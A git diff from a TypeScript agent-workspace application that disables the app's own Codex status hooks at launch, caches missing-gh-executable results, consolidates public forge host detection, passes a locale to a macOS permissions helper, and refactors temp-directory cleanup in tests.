-    ['modelNotFound', 'modelUnavailable'],
-    ['policyCapacityUnavailable', 'providerUnavailable'],
-    ['misalignmentPolicyViolation', 'providerSafetyStopped'],
-    ['serverOverloaded', 'providerUnavailable'],
-    ['cyberPolicy', 'providerSafetyStopped']
-  ])('categorizes %s without exposing its diagnostic', (code, kind) => {
-    for (const info of [code, { [code]: { httpStatusCode: 401 } }]) {
-      const tap = recorder()
-      const translator = translatorFor(tap)
-      translator.handle(notification('error', error(info)))
-      expect(statuses(tap)).toMatchObject([{ failure: { kind } }])
-      expect(statuses(tap)[0]?.text).not.toContain(DIAGNOSTIC)
-      expect(statuses(tap)[0]?.providerFrame?.payload.head).toContain(DIAGNOSTIC)
-      translator.dispose()
-    }
-  })
-
-  it('uses the existing usage-limit category for HTTP 429 retry exhaustion', () => {
-    const tap = recorder()
-    const translator = translatorFor(tap)
-    translator.handle(
-      notification('error', error({ responseTooManyFailedAttempts: { httpStatusCode: 429 } }))
-    )
-    expect(statuses(tap)).toMatchObject([
-      { tone: 'warning', failure: { kind: 'usageLimitReached' } }
-    ])
-  })
-
   it('ends a recorded-shape failed completion carrying an unknown future code', () => {
     const frames: {
       case: string
diff --git a/src/main/codex/structured/launch/codex-structured-launch-resolution.ts b/src/main/codex/structured/launch/codex-structured-launch-resolution.ts
index 82aeeae47b2..3e6cc7fc1e4 100644
--- a/src/main/codex/structured/launch/codex-structured-launch-resolution.ts
+++ b/src/main/codex/structured/launch/codex-structured-launch-resolution.ts
@@ -29,6 +29,8 @@ import type { StructuredAgentLaunchPartResolver } from '../../../runtime/agent-s
 import type { CodexStructuredLaunch } from '../session-lifecycle/codex-structured-session-state'
 import { codexStructuredPermissionPolicy } from '../../../../shared/codex-permission-policy'
 import { codexStructuredLaunchArgs } from './codex-structured-launch-args'
+import { codexOrcaHooksOffArgs } from './codex-structured-orca-hooks-off'
+import { getSystemCodexHomePath } from '../../configuration/homes/codex-home-paths'
 import {
   LEGACY_NATIVE_CHAT_VISUALS_DIR_ENV,
   NATIVE_CHAT_SCRATCH_DIR_ENV,
@@ -160,7 +162,15 @@ export function codexStructuredLaunchPart(
       launch: {
         command,
         prefixArgs,
-        args: [...prefixArgs, ...args, 'app-server'],
+        // Before the user's args: a later -c table replaces this one, so their hooks.state wins.
+        args: [
+          ...prefixArgs,
+          ...codexOrcaHooksOffArgs(
+            accountHome.path || environment?.CODEX_HOME || getSystemCodexHomePath()
+          ),
+          ...args,
+          'app-server'
+        ],
         codexHome: accountHome.path,
         resumeThreadId,
         // Only created threads may be unsaved; resumed, forked and adopted threads were persisted.
diff --git a/src/main/codex/structured/launch/codex-structured-orca-hooks-off.ts b/src/main/codex/structured/launch/codex-structured-orca-hooks-off.ts
new file mode 100644
index 00000000000..7e0bc0e370b
--- /dev/null
+++ b/src/main/codex/structured/launch/codex-structured-orca-hooks-off.ts
@@ -0,0 +1,44 @@
+import { createManagedCommandMatcher } from '../../../agent-hooks/installation/commands/managed-hook-command-matching'
+import { readHooksJson } from '../../../agent-hooks/installation/configuration/hooks-json-read'
+import { escapeTomlBasicString } from '../../configuration/toml/config-toml-syntax'
+import {
+  createCodexHookTrustEntry,
+  getCodexManagedScriptFileName
+} from '../../hooks/definitions/codex-hook-identity'
+import { getInPlaceCodexHookHome } from '../../trust/hooks/codex-hook-orca-approvals'
+import { computeCodexTrustKey } from '../../trust/identity/codex-trust-identity'
+
+/**
+ * Chat strips pane env, so Orca's status hooks only cost a spawn per event, and under Store
+ * PowerShell every spawn fails (openai/codex#47810). Disable Orca's entries, including older
+ * forms the installer keeps, for this launch. One inline table because Codex splits `-c` keys
+ * on every dot, including the one in hooks.json.
+ */
+export function codexOrcaHooksOffArgs(codexHomePath: string): string[] {
+  const home = getInPlaceCodexHookHome(codexHomePath)
+  const isOrcaCommand = createManagedCommandMatcher(getCodexManagedScriptFileName())
+  const hooks = readHooksJson(home.hooksJsonPath)?.hooks ?? {}
+  // hooks.json is user-editable; skip malformed groups and handlers as Codex does.
+  const entries = Object.entries(hooks).flatMap(([eventName, groups]) =>
+    (Array.isArray(groups) ? groups : []).flatMap((group, groupIndex) =>
+      (Array.isArray(group?.hooks) ? group.hooks : []).flatMap((hook, handlerIndex) =>
+        hook && isOrcaCommand(hook.command)
+          ? home.keySourcePaths.flatMap((sourcePath) => {
+              const entry = createCodexHookTrustEntry(
+                sourcePath,
+                eventName,
+                groupIndex,
+                handlerIndex,
+                group,
+                hook
+              )
+              return entry
+                ? [`"${escapeTomlBasicString(computeCodexTrustKey(entry))}"={enabled=false}`]
+                : []
+            })
+          : []
+      )
+    )
+  )
+  return entries.length > 0 ? ['-c', `hooks.state={${entries.join(',')}}`] : []
+}
diff --git a/src/main/computer/macos-computer-use-permissions.ts b/src/main/computer/macos-computer-use-permissions.ts
index a1916f33030..4d06adff039 100644
--- a/src/main/computer/macos-computer-use-permissions.ts
+++ b/src/main/computer/macos-computer-use-permissions.ts
@@ -29,10 +29,12 @@ let setupGeneration = 0
 // Opens that arrive mid-reset wait for it, so reset's helper cleanup can't kill what they open.
 let resetInProgress: Promise<unknown> | null = null
 
+/** `locale` comes from the desktop caller; orcad and CLI opens leave the helper on its default copy. */
 export function openComputerUsePermissions(
-  permissionId?: ComputerUsePermissionId
+  permissionId?: ComputerUsePermissionId,
+  locale?: string
 ): Promise<ComputerUsePermissionSetupResult> {
-  return openComputerUsePermissionsAsync(permissionId, ++setupRequestSeq, setupGeneration)
+  return openComputerUsePermissionsAsync(permissionId, locale, ++setupRequestSeq, setupGeneration)
 }
 
 function cancelPendingSetupLaunches(): void {
@@ -123,6 +125,7 @@ function launchSetupHelper(request: SetupLaunchRequest): void {
 
 async function openComputerUsePermissionsAsync(
   permissionId: ComputerUsePermissionId | undefined,
+  locale: string | undefined,
   seq: number,
   generation: number
 ): Promise<ComputerUsePermissionSetupResult> {
@@ -174,6 +177,10 @@ async function openComputerUsePermissionsAsync(
     }
   }
   const helperArgs = permissionId ? ['--permission', permissionId] : ['--permissions']
+  if (locale) {
+    // Why: the helper renders permission copy in the app's UI language.
+    helperArgs.push('--locale', locale)
+  }
   const launch = requestSetupHelperLaunch({ seq, helperAppPath, helperArgs })
 
   return {
diff --git a/src/main/ephemeral-vm/recipe-runner.test.ts b/src/main/ephemeral-vm/recipe-runner.test.ts
index 0a6ac8abafb..1a5c57afb35 100644
--- a/src/main/ephemeral-vm/recipe-runner.test.ts
+++ b/src/main/ephemeral-vm/recipe-runner.test.ts
@@ -1,6 +1,7 @@
-import { mkdtempSync, realpathSync, rmSync, writeFileSync } from 'node:fs'
+import { mkdtempSync, realpathSync, writeFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from '../../shared/testing/remove-temp-dirs.test-support'
 import { afterEach, describe, expect, it } from 'vitest'
 import { encodePairingOffer } from '../../shared/remote-runtime/pairing/pairing'
 import { PAIRING_OFFER_VERSION } from '../../shared/remote-runtime/pairing/mobile-relay-pairing-offer'
@@ -15,10 +16,8 @@ import type { OrcaVmRecipe } from '../../shared/orca-yaml-hook-types'
 
 const tmpRoots: string[] = []
 
-afterEach(() => {
-  for (const root of tmpRoots.splice(0)) {
-    rmSync(root, { recursive: true, force: true })
-  }
+afterEach(async () => {
+  await removeTempDirs(tmpRoots.splice(0))
 })
 
 function makeRepo(): string {
diff --git a/src/main/ephemeral-vm/runtime-recipe-timeouts.test.ts b/src/main/ephemeral-vm/runtime-recipe-timeouts.test.ts
index 994ff5d5bb2..713609af83b 100644
--- a/src/main/ephemeral-vm/runtime-recipe-timeouts.test.ts
+++ b/src/main/ephemeral-vm/runtime-recipe-timeouts.test.ts
@@ -1,7 +1,8 @@
-import { mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
+import { mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { removeTempDirs } from '../../shared/testing/remove-temp-dirs.test-support'
+import { afterEach, describe, expect, it, vi } from 'vitest'
 import { encodePairingOffer } from '../../shared/remote-runtime/pairing/pairing'
 import { PAIRING_OFFER_VERSION } from '../../shared/remote-runtime/pairing/mobile-relay-pairing-offer'
 import { getEphemeralVmRuntimeStorePath } from '../../shared/ephemeral-vm-runtime-store'
@@ -20,10 +21,8 @@ vi.mock('../workspace-hooks/hooks', () => ({
 }))
 
 const tempDirs: string[] = []
-afterEach(() => {
-  for (const root of tempDirs.splice(0)) {
-    rmSync(root, { recursive: true, force: true })
-  }
+afterEach(async () => {
+  await removeTempDirs(tempDirs.splice(0))
 })
 
 function makeDir(prefix: string): string {
@@ -33,17 +32,6 @@ function makeDir(prefix: string): string {
 }
 
 describe('recipe timeoutSeconds and persisted runtimes', () => {
-  const originalPlatform = Object.getOwnPropertyDescriptor(process, 'platform')
-  beforeEach(() => {
-    // Isolate from platform ACL behavior, which secure-file tests cover.
-    Object.defineProperty(process, 'platform', { configurable: true, value: 'linux' })
-  })
-  afterEach(() => {
-    if (originalPlatform) {
-      Object.defineProperty(process, 'platform', originalPlatform)
-    }
-  })
-
   it('persists a runtime whose recipe sets timeoutSeconds in a shape older builds still read', async () => {
     const userDataPath = makeDir('orca-vm-timeouts-user-data-')
     const repoPath = makeDir('orca-vm-timeouts-repo-')
@@ -108,4 +96,58 @@ describe('recipe timeoutSeconds and persisted runtimes', () => {
       getRuntimeRecipeContext(store, userDataPath, provisioned.runtime.id).recipe
     ).not.toHaveProperty('timeoutSeconds')
   })
+
+  it('keeps passEnv out of the persisted snapshot and re-applies it for lifecycle steps', async () => {
+    const userDataPath = makeDir('orca-vm-passenv-user-data-')
+    const repoPath = makeDir('orca-vm-passenv-repo-')
+    const startPath = join(repoPath, 'start.js')
+    const pairingCode = encodePairingOffer({
+      v: PAIRING_OFFER_VERSION,
+      endpoint: 'wss://vm.example.com',
+      deviceToken: 'token',
+      publicKeyB64: 'public-key'
+    })
+    writeFileSync(
+      startPath,
+      `console.log(JSON.stringify({ schemaVersion: 1, pairingCode: ${JSON.stringify(pairingCode)}, projectRoot: '/workspace/repo' }))\n`
+    )
+    const recipe: OrcaVmRecipe = {
+      id: 'remote-vm',
+      name: 'Remote VM',
+      create: `"${process.execPath}" "${startPath}"`,
+      destroy: './destroy.sh',
+      passEnv: ['GH_TOKEN']
+    }
+
+    const provisioned = await provisionEphemeralVmRuntime({
+      userDataPath,
+      repoPath,
+      recipe,
+      repoId: 'repo-1',
+      now: 1_000
+    })
+
+    expect(provisioned.ok).toBe(true)
+    if (!provisioned.ok) {
+      return
+    }
+    expect(provisioned.runtime.recipe).not.toHaveProperty('passEnv')
+    const onDisk = JSON.parse(readFileSync(getEphemeralVmRuntimeStorePath(userDataPath), 'utf8'))
+    expect(RollbackEphemeralVmRuntimeStoreSchema.safeParse(onDisk).success).toBe(true)
+
+    hooks.recipes = [recipe]
+    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: getRuntimeRecipeContext only reads getRepo from the store.
+    const store = {
+      getRepo: () => ({ id: 'repo-1', path: repoPath, kind: 'git' })
+    } as unknown as Store
+    expect(
+      getRuntimeRecipeContext(store, userDataPath, provisioned.runtime.id).recipe
+    ).toMatchObject({ passEnv: ['GH_TOKEN'] })
+
+    // A different recipe that later took the same id does not change the environment.
+    hooks.recipes = [{ ...recipe, create: './other-create.sh', passEnv: ['OTHER'] }]
+    expect(
+      getRuntimeRecipeContext(store, userDataPath, provisioned.runtime.id).recipe
+    ).not.toHaveProperty('passEnv')
+  })
 })
diff --git a/src/main/ephemeral-vm/runtime-resume-pairing.test.ts b/src/main/ephemeral-vm/runtime-resume-pairing.test.ts
index 1cb7937226d..c363f23d766 100644
--- a/src/main/ephemeral-vm/runtime-resume-pairing.test.ts
+++ b/src/main/ephemeral-vm/runtime-resume-pairing.test.ts
@@ -1,6 +1,8 @@
-import { mkdtempSync, rmSync } from 'node:fs'
+import { mkdtempSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from '../../shared/testing/remove-temp-dirs.test-support'
+import { removeTree } from '../../shared/windows-transient-lock-removal'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { encodePairingOffer } from '../../shared/remote-runtime/pairing/pairing'
 import type { PairedRuntimeConnection } from '../../shared/remote-runtime/pairing/paired-runtime-connection'
@@ -49,20 +51,13 @@ function connect(serverDataPath: string, desktopDataPath: string, environmentId:
 describe('resuming a recipe VM server', () => {
   let desktopDataPath: string
   let serverDataPath: string
-  const originalPlatform = Object.getOwnPropertyDescriptor(process, 'platform')
 
   beforeEach(() => {
-    // Why: store contents are under test; secure-file tests cover Windows ACLs.
-    Object.defineProperty(process, 'platform', { configurable: true, value: 'linux' })
     desktopDataPath = mkdtempSync(join(tmpdir(), 'orca-resume-desktop-'))
     serverDataPath = mkdtempSync(join(tmpdir(), 'orca-resume-server-'))
   })
-  afterEach(() => {
-    if (originalPlatform) {
-      Object.defineProperty(process, 'platform', originalPlatform)
-    }
-    rmSync(desktopDataPath, { recursive: true, force: true })
-    rmSync(serverDataPath, { recursive: true, force: true })
+  afterEach(async () => {
+    await removeTempDirs([desktopDataPath, serverDataPath])
   })
 
   function provision(): string {
@@ -130,7 +125,7 @@ describe('resuming a recipe VM server', () => {
   it('re-pairs from the fresh code when the host key changed, without asking the server', async () => {
     const environmentId = provision()
     const original = resolveEnvironmentPairingOffer(desktopDataPath, environmentId)
-    rmSync(serverDataPath, { recursive: true, force: true })
+    await removeTree(serverDataPath)
     serverDataPath = mkdtempSync(join(tmpdir(), 'orca-resume-server-'))
     const probeSavedPairing = vi.fn()
 
@@ -159,7 +154,7 @@ describe('resuming a recipe VM server', () => {
     ).publicKeyB64
     const original = resolveEnvironmentPairingOffer(desktopDataPath, environmentId)
     const before = listEnvironments(desktopDataPath)[0]!
-    rmSync(serverDataPath, { recursive: true, force: true })
+    await removeTree(serverDataPath)
     serverDataPath = mkdtempSync(join(tmpdir(), 'orca-resume-server-'))
     const invalidateTransport = vi.fn()
 
diff --git a/src/main/ephemeral-vm/runtime-service.test.ts b/src/main/ephemeral-vm/runtime-service.test.ts
index 8b0eb7b74a9..fa25993a95d 100644
--- a/src/main/ephemeral-vm/runtime-service.test.ts
+++ b/src/main/ephemeral-vm/runtime-service.test.ts
@@ -1,7 +1,8 @@
-import { existsSync, mkdtempSync, readFileSync, rmSync, truncateSync, writeFileSync } from 'node:fs'
+import { existsSync, mkdtempSync, readFileSync, truncateSync, writeFileSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+import { removeTempDirs } from '../../shared/testing/remove-temp-dirs.test-support'
+import { afterEach, describe, expect, it, vi } from 'vitest'
 import { encodePairingOffer } from '../../shared/remote-runtime/pairing/pairing'
 import { PAIRING_OFFER_VERSION } from '../../shared/remote-runtime/pairing/mobile-relay-pairing-offer'
 import {
@@ -23,10 +24,8 @@ import type { OrcaVmRecipe } from '../../shared/orca-yaml-hook-types'
 
 const tempDirs: string[] = []
 
-afterEach(() => {
-  for (const root of tempDirs.splice(0)) {
-    rmSync(root, { recursive: true, force: true })
-  }
+afterEach(async () => {
+  await removeTempDirs(tempDirs.splice(0))
 })
 
 function makeDir(prefix: string): string {
@@ -49,19 +48,6 @@ function nodeCommand(scriptPath: string): string {
 }
 
 describe('ephemeral VM runtime service', () => {
-  const originalPlatform = Object.getOwnPropertyDescriptor(process, 'platform')
-
-  beforeEach(() => {
-    // Isolate lifecycle tests from platform ACL behavior, which secure-file tests cover.
-    Object.defineProperty(process, 'platform', { configurable: true, value: 'linux' })
-  })
-
-  afterEach(() => {
-    if (originalPlatform) {
-      Object.defineProperty(process, 'platform', originalPlatform)
-    }
-  })
-
   it('persists a successful recipe-created runtime and cleans it up', async () => {
     const userDataPath = makeDir('orca-ephemeral-vm-service-user-data-')
     const repoPath = makeDir('orca-ephemeral-vm-service-repo-')
diff --git a/src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts b/src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts
index 1c36c99c131..1bbecefdcbd 100644
--- a/src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts
+++ b/src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts
@@ -1,6 +1,7 @@
-import { mkdtempSync, rmSync } from 'node:fs'
+import { mkdtempSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from '../../shared/testing/remove-temp-dirs.test-support'
 import { afterEach, expect, it, vi } from 'vitest'
 import { upsertEphemeralVmRuntime } from '../../shared/ephemeral-vm-runtime-store'
 import type { EphemeralVmRuntimeRecord } from '../../shared/ephemeral-vm-runtimes'
@@ -8,10 +9,8 @@ import { removeEphemeralVmRuntimeSshTarget } from './runtime-ssh-cleanup'
 
 const tempDirs: string[] = []
 
-afterEach(() => {
-  for (const dir of tempDirs.splice(0)) {
-    rmSync(dir, { recursive: true, force: true })
-  }
+afterEach(async () => {
+  await removeTempDirs(tempDirs.splice(0))
 })
 
 function createRuntime(
diff --git a/src/main/ephemeral-vm/workspace-removal.test.ts b/src/main/ephemeral-vm/workspace-removal.test.ts
index b5a7d683632..730d48c0225 100644
--- a/src/main/ephemeral-vm/workspace-removal.test.ts
+++ b/src/main/ephemeral-vm/workspace-removal.test.ts
@@ -1,6 +1,7 @@
-import { mkdtempSync, rmSync } from 'node:fs'
+import { mkdtempSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from '../../shared/testing/remove-temp-dirs.test-support'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import {
   listEphemeralVmRuntimes,
@@ -89,7 +90,7 @@ function makePorts(
 beforeEach(() => {
   root = mkdtempSync(join(tmpdir(), 'orca-recipe-remove-'))
 })
-afterEach(() => rmSync(root, { recursive: true, force: true }))
+afterEach(() => removeTempDirs([root]))
 
 describe('recipe workspace removal on the provisioning host', () => {
   it('handles only removals that asked to destroy the environment', () => {
diff --git a/src/main/ephemeral-vm/workspace-resume-paired-lost-contact.test.ts b/src/main/ephemeral-vm/workspace-resume-paired-lost-contact.test.ts
index e7b1ca231b4..4f770ffefb5 100644
--- a/src/main/ephemeral-vm/workspace-resume-paired-lost-contact.test.ts
+++ b/src/main/ephemeral-vm/workspace-resume-paired-lost-contact.test.ts
@@ -1,9 +1,10 @@
 // #34089 for VMs reached as paired Orca servers: a VM its provider stopped or reclaimed stays
 // recorded as running. Once Orca's own probes have failed for minutes, opening the workspace runs
 // the recipe's resume and keeps the device pairing unless the server came back with a new host key.
-import { mkdtempSync, rmSync } from 'node:fs'
+import { mkdtempSync } from 'node:fs'
 import { tmpdir } from 'node:os'
 import { join } from 'node:path'
+import { removeTempDirs } from '../../shared/testing/remove-temp-dirs.test-support'
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 
 type MockState = {
@@ -140,11 +141,8 @@ describe('opening a workspace whose paired VM server Orca could not reach for mi
   let environmentId: string
   let keyPair: KeyPair
   let now: number
-  const originalPlatform = Object.getOwnPropertyDescriptor(process, 'platform')
 
   beforeEach(async () => {
-    // Why: store contents are under test; secure-file tests cover Windows ACLs.
-    Object.defineProperty(process, 'platform', { configurable: true, value: 'linux' })
     vi.useFakeTimers({ toFake: ['Date'] })
     now = Date.parse('2026-11-08T12:00:00Z')
     vi.setSystemTime(now)
@@ -178,11 +176,7 @@ describe('opening a workspace whose paired VM server Orca could not reach for mi
     mocks.reconnectControl.mockClear()
     mocks.refreshStatus.mockClear()
     mocks.updateStatus.mockClear()
-    if (originalPlatform) {
-      Object.defineProperty(process, 'platform', originalPlatform)
-    }
-    rmSync(state.desktopDataPath, { recursive: true, force: true })
-    rmSync(serverDataPath, { recursive: true, force: true })
+    await removeTempDirs([state.desktopDataPath, serverDataPath])
   })
 
   /** The VM goes away; Orca's probes keep failing for `forMs`. */
@@ -256,7 +250,7 @@ describe('opening a workspace whose paired VM server Orca could not reach for mi
       expect(listEnvironments(state.desktopDataPath)).toHaveLength(1)
       expect((await probe(environmentId)).ok).toBe(true)
     } finally {
-      rmSync(rebuiltServerDataPath, { recursive: true, force: true })
+      await removeTempDirs([rebuiltServerDataPath])
     }
   })
 
diff --git a/src/main/git/command-runner/gh-exec-file.ts b/src/main/git/command-runner/gh-exec-file.ts
index dcc7a3c67d0..9eb9b7c973a 100644
--- a/src/main/git/command-runner/gh-exec-file.ts
+++ b/src/main/git/command-runner/gh-exec-file.ts
@@ -21,6 +21,7 @@ import { execFileCaptureToTermination } from './exec-file-capture'
 import { logHostedCliDeadlineKill } from './hosted-cli-deadline-log'
 import type { GitExecOptions } from './git-exec-options'
 import { argsLookIdempotent } from './gh-idempotency'
+import { GhExecutableAbsenceBatch } from './gh-executable-absence-batch'
 import { applyGhHostToArgs, explicitGhHostname, explicitGhRepoHostname } from './gh-host-args'
 import { isGhBoundAccountError, resolveBoundGhExecEnv } from './gh-bound-account-env'
 import {
@@ -178,6 +179,13 @@ export async function ghExecFileWithScopeAsync(
       if (lifetime) {
         await lifetime.waitPending(options.signal)
       }
+      const availability = GhExecutableAbsenceBatch.assertAvailable(
+        resolved,
+        boundEnv ?? options.env ?? process.env
+      )
+      if (availability) {
+        await availability
+      }
       // gh may be a shim chain; terminate the whole tree so descendants cannot outlive the deadline.
       const { stdout, stderr } = await execFileCaptureToTermination(
         resolved.binary,
@@ -198,6 +206,7 @@ export async function ghExecFileWithScopeAsync(
       if (lifetime) {
         await lifetime.waitPending(options.signal)
       }
+      GhExecutableAbsenceBatch.recordSuccess(resolved, boundEnv ?? options.env ?? process.env)
       return {
         // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: Capture decodes stdout with the requested string encoding above.
         stdout: stdout as string,
@@ -277,6 +286,11 @@ export async function ghExecFileWithScopeAsync(
         await sleep(delayMs, options.signal)
         continue
       }
+      await GhExecutableAbsenceBatch.recordMissing(
+        resolved,
+        boundEnv ?? options.env ?? process.env,
+        err
+      )
       throw err
     } finally {
       lifetime?.seal()
diff --git a/src/main/git/command-runner/gh-executable-absence-batch.ts b/src/main/git/command-runner/gh-executable-absence-batch.ts
new file mode 100644
index 00000000000..a2362641c3a
--- /dev/null
+++ b/src/main/git/command-runner/gh-executable-absence-batch.ts
@@ -0,0 +1,116 @@
+import { AsyncLocalStorage } from 'node:async_hooks'
+import { stat } from 'node:fs/promises'
+import path from 'node:path'
+import {
+  isCommandOnLocalPath,
+  resolveSelectedLocalCommand
+} from '../../ipc/command-path/command-path-resolver'
+import type { ResolvedCommand } from './wsl-command-resolution'
+
+const currentBatch = new AsyncLocalStorage<GhExecutableAbsenceBatch>()
+const batches = new Set<GhExecutableAbsenceBatch>()
+
+function searchScope(command: ResolvedCommand, env: NodeJS.ProcessEnv): string | null {
+  if (command.wsl || command.binary !== 'gh' || !command.cwd) {
+    return null
+  }
+  const pathKey = Object.keys(env).find((key) =>
+    process.platform === 'win32' ? key.toLowerCase() === 'path' : key === 'PATH'
+  )
+  const searchPath = pathKey ? env[pathKey] : undefined
+  if (!searchPath || searchPath.split(path.delimiter).some((entry) => !path.isAbsolute(entry))) {
+    return null
+  }
+  const extensions = Object.entries(env).find(([key]) => key.toLowerCase() === 'pathext')?.[1]
+  return JSON.stringify([process.platform, command.binary, searchPath, extensions])
+}
+
+/** A finite recovery batch shares only proved native executable absence, never API failures. */
+export class GhExecutableAbsenceBatch {
+  private readonly missing = new Map<string, unknown>()
+
+  constructor() {
+    batches.add(this)
+  }
+
+  run<T>(operation: () => Promise<T>): Promise<T> {
+    return currentBatch.run(this, operation)
+  }
+
+  close(): void {
+    batches.delete(this)
+    this.missing.clear()
+  }
+
+  static assertAvailable(command: ResolvedCommand, env: NodeJS.ProcessEnv): Promise<void> | null {
+    const batch = currentBatch.getStore()
+    if (!batch?.missing.size) {
+      return null
+    }
+    const scope = searchScope(command, env)
+    if (!scope || !batch.missing.has(scope)) {
+      return null
+    }
+    if (resolveSelectedLocalCommand('gh', { env, cwd: command.cwd }) !== 'gh') {
+      batch.missing.delete(scope)
+      return null
+    }
+    if (process.platform === 'win32') {
+      // Windows searches each checkout before PATH; a peer may have its own executable.
+      const localEnv = Object.fromEntries(
+        Object.entries(env).filter(([key]) => key.toLowerCase() !== 'path')
+      )
+      return isCommandOnLocalPath('gh', {
+        env: { ...localEnv, PATH: '' },
+        cwd: command.cwd
+      }).then((found) => {
+        if (!found) {
+          throw batch.missing.get(scope)
+        }
+      })
+    }
+    throw batch.missing.get(scope)
+  }
+
+  static async recordMissing(
+    command: ResolvedCommand,
+    env: NodeJS.ProcessEnv,
+    error: unknown
+  ): Promise<void> {
+    const batch = currentBatch.getStore()
+    const scope = batch && searchScope(command, env)
+    if (
+      !batch ||
+      !scope ||
+      !error ||
+      typeof error !== 'object' ||
+      !('code' in error) ||
+      error.code !== 'ENOENT' ||
+      batch.missing.get(scope) === error
+    ) {
+      return
+    }
+    try {
+      if (
+        command.cwd &&
+        (await stat(command.cwd)).isDirectory() &&
+        resolveSelectedLocalCommand('gh', { env, cwd: command.cwd }) === 'gh' &&
+        !(await isCommandOnLocalPath('gh', { env, cwd: command.cwd })) &&
+        batches.has(batch)
+      ) {
+        batch.missing.set(scope, error)
+      }
+    } catch {
+      // A missing cwd or unreadable search environment proves nothing about peer checkouts.
+    }
+  }
+
+  static recordSuccess(command: ResolvedCommand, env: NodeJS.ProcessEnv): void {
+    const scope = batches.size && searchScope(command, env)
+    if (scope) {
+      for (const batch of batches) {
+        batch.missing.delete(scope)
+      }
+    }
+  }
+}
diff --git a/src/main/git/remotes/hosted-remote-url.ts b/src/main/git/remotes/hosted-remote-url.ts
index 9f10984fa05..5361b6ffac4 100644
--- a/src/main/git/remotes/hosted-remote-url.ts
+++ b/src/main/git/remotes/hosted-remote-url.ts
@@ -1,4 +1,5 @@
 import { normalizeForgeWebHost } from '../../../shared/git/remotes/git-remote-host-alias'
+import { getPublicForgeProviderForHost } from '../../../shared/git/remotes/public-forge-host'
 
 // Scoped local fork of the hosted-git-info@9.0.3 behavior Orca used.
 // Keep only the provider parsing and file/commit URL construction needed by source links.
@@ -23,14 +24,14 @@ const shorthandHosts: Record<string, { host: string; provider: HostedRemoteProvi
 
 function providerForHost(host: string): HostedRemoteHost | null {
   const normalized = normalizeForgeWebHost(host)
-  if (normalized === 'github.com') {
-    return { host: 'github.com', provider: 'github' }
-  }
-  if (normalized === 'gitlab.com') {
-    return { host: 'gitlab.com', provider: 'gitlab' }
-  }
-  if (normalized === 'bitbucket.org') {
-    return { host: 'bitbucket.org', provider: 'bitbucket' }
+  const provider = getPublicForgeProviderForHost(normalized)
+  if (
+    (normalized === 'github.com' ||
+      normalized === 'gitlab.com' ||
+      normalized === 'bitbucket.org') &&
+    (provider === 'github' || provider === 'gitlab' || provider === 'bitbucket')
+  ) {
+    return { host: normalized, provider }
   }
   return null
 }
diff --git a/src/main/gitea/repository-ref.ts b/src/main/gitea/repository-ref.ts
index 89162701eda..d5ed49c716b 100644
--- a/src/main/gitea/repository-ref.ts
+++ b/src/main/gitea/repository-ref.ts
@@ -1,4 +1,5 @@
 import { createRemoteRefProbeCache } from '../git/remotes/remote-ref-probe-cache'
+import { getPublicForgeProviderForHost } from '../../shared/git/remotes/public-forge-host'
 
 export type GiteaRepoRef = {
   host: string
@@ -12,14 +13,6 @@ type LocalGitExecOptions = {
   wslDistro?: string
 }
 
-const KNOWN_NON_GITEA_HOSTS = new Set([
-  'github.com',
-  'gitlab.com',
-  'bitbucket.org',
-  'ssh.bitbucket.org',
-  'dev.azure.com',
-  'ssh.dev.azure.com'
-])
 const repoRefProbeCache = createRemoteRefProbeCache(parseGiteaRepoRef)
 
 /** @internal - exposed for tests only */
@@ -69,11 +62,8 @@ function apiBaseUrlFromWebBase(webBaseUrl: string): string {
 
 function makeRepoRef(host: string, path: string, webOrigin: string): GiteaRepoRef | null {
   const normalizedHost = host.toLowerCase()
-  if (
-    !normalizedHost ||
-    KNOWN_NON_GITEA_HOSTS.has(normalizedHost) ||
-    normalizedHost.endsWith('.visualstudio.com')
-  ) {
+  const owner = getPublicForgeProviderForHost(normalizedHost)
+  if (!normalizedHost || (owner && owner !== 'gitea')) {
     return null
   }
 
diff --git a/src/main/github/client-pr-check-details.test.ts b/src/main/github/client-pr-check-details.test.ts
index ce233645e71..2ebbbf755b1 100644
--- a/src/main/github/client-pr-check-details.test.ts
+++ b/src/main/github/client-pr-check-details.test.ts
@@ -106,4 +106,51 @@ describe('getPRCheckDetails', () => {
       vi.useRealTimers()
     }
   })
+
+  it('reads a fine-grained token check from its Actions job when the check run is refused', async () => {
+    getOwnerRepoMock.mockResolvedValueOnce({ owner: 'acme', repo: 'widgets' })
+    const job = {
+      id: 71,
+      run_id: 7,
+      name: 'pytest',
+      status: 'completed',
+      conclusion: 'success',
+      html_url: 'https://github.com/acme/widgets/actions/runs/7/job/71',
+      started_at: '2026-11-10T10:00:00Z',
+      completed_at: '2026-11-10T10:05:00Z',
+      steps: []
+    }
+    ghExecFileAsyncMock.mockImplementation(async (args: string[]) => {
+      const path = args.at(-1) ?? ''
+      if (path.includes('/check-runs/71')) {
+        throw Object.assign(new Error(`Command failed: gh api ${path}`), {
+          stderr: 'gh: Resource not accessible by personal access token (HTTP 403)\n',
+          stdout: ''
+        })
+      }
+      if (path.endsWith('/actions/jobs/71')) {
+        return { stdout: JSON.stringify(job), stderr: '' }
+      }
+      if (path.includes('/actions/runs/7/jobs')) {
+        return { stdout: JSON.stringify({ jobs: [job] }), stderr: '' }
+      }
